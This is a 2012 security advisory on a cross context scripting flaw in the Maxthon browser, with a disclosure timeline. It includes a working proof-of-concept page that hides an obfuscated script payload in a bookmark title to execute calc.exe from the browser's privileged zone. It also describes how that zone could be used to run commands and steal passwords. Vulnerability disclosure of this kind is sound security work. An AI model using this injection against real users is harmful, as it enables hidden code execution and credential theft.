Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.3.3.1000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf
Cross Context Scripting
Cross Context Scripting (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.
Description
It is possible to inject JavaScript/HTML payload via the “title” parameter of the “Add to Favorites” form. In Maxthon, bookmark UI security controls are weak and allow a trivial exploitation, even for an attentive user, considering the following factors:
- window.external.addFavorite() can be invoked in an automated fashion;
- The title entry can be tailored to hide the injection payload;
- URL of the bookmark can remain legitimate: e.g. www.google.com
The injected code is rendered at mx://res/sidebar/favorites/index.htm
Injection occurs under the following conditions/actions:
- User opens the Favorites sidebar on the left (just clicking on the Star icon, without clicking the malicious bookmark);
- User clicks on the bookmark link from the bookmark toolbar;
- User navigates to another tab after having added the malicious bookmark.
Exploitation
This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.
Malicious Add to Favorite Injection – HTML Source Code
<html>
<head>
<title>Google</title>
<head>
<script>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
padding="Google - www.google.com"
padding2=" "
padding3=" - the best search engine - bookmark now!!!"
window.external.addFavorite("www.google.com",padding+"'><scri"+"pt>"+evilpayload+"</"+"script>"+" "+" "+padding+padding3)
</script>
</head>
<body>
<h3>Maxthon 3.3.3.1000 - Cross Context Scripting via Bookmark (title parameter) - Code Execution PoC</h3>
<font size="+1">Roberto Suggi Liverani - <a href="http://blog.malerisch.net">http://blog.malerisch.net</a> - <a href="https://twitter.com/malerisch">@malerisch</a></font>
<br>Steps:
<ul>
<li>User is prompted to bookmark an innocuous looking bookmark, like the one shown in the middle of the screen. The injected payload can only be seen if the user scrolls on the left of the title element.
<li>User adds the bookmark.
<li>User then clicks on the Star (Favorites) icon or
<li>User clicks on the bookmark link from the bookmark toolbar.
<li>In both cases, calc.exe is executed.
</ul>
The code for the exploit:<br>
<code>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
window.external.addFavorite("www.google.com","yourpaddinghere'><scri"+"pt>"+evilpayload+"</"+"script>andpaddinghere");
</code>
</body>
</html>
Video
Maxthon - Cross Context Scripting (XCS) - Bookmark Toolbar and Bookmark Sidebar
Timeline
13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented
Solution
Do not use Maxthon browser.